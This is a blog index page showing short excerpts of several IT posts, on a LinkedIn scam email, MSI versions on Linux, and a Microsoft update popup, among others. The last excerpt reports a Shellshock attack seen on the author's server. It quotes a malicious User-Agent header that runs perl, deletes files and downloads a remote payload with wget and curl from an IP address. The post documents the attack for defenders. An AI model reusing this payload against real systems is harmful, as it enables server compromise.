General

Would you sell your business on LinkedIn?

If you receive on LinkedIn an email like the one below, with the subject “get back to me ASAP”, wouldn’t you wonder who is needing you so badly?   Do you want to sale 50% ownership or 100% ownership of your business. I just want something casual I could invest on with Eight Hundred Thousand […]

General

How to get the version of an MSI package in Linux

Ever tried to get the version of an MSI package on Linux ? Exiftool doesn’t do that, unfortunately. I requested it in the forum, let’s see if somebody jumps on it. 🙂 Until then, try to use the system utility “file” and do some parsing on the bold red text. #file google.msi: Composite Document File […]

General

Microsoft, you’re not as smart as you thing you are!

I was installing an update of OneNote and I suddenly received this popup:   Continuing could be expensive” You’re connected to a network that limits downloads every month. We need to stream some large files over your network connection to install Ofifice, so we recommend installing while connected to an unrestricted netowork. … Seriourly, Microsoft? […]

General

Do you know what makes the Internet so slow?

According to some online sources, PORN is what uses around 30% of the Internet’s bandwidth. Why do I care about this?   Because the top searches in my news portal IT Security News (www.itsecuritynews.info) are: nude videos, porn and naked pictures of celebrities. I guess we are living in a very … lonely world.   This is also how […]

General News

Why security recommendations often get ignored

I read very often about vulnerabilities and companies that got hacked. Many times, the reason for which they got hacked was because some recommendation issued by some smart people (read: security minded people) are ignored.   But why are they ignored? I found some articles where several explanations are given for what is called “information avoidance“. […]

General

How a Shellshock exploit attempt looks like

One of my HTTP servers hosted on an Amazon EC2 receives regularly strange requests like these:   One such request looks like this: GET /cgi-bin/php5 HTTP/1.1 Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plainrnrnXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; […]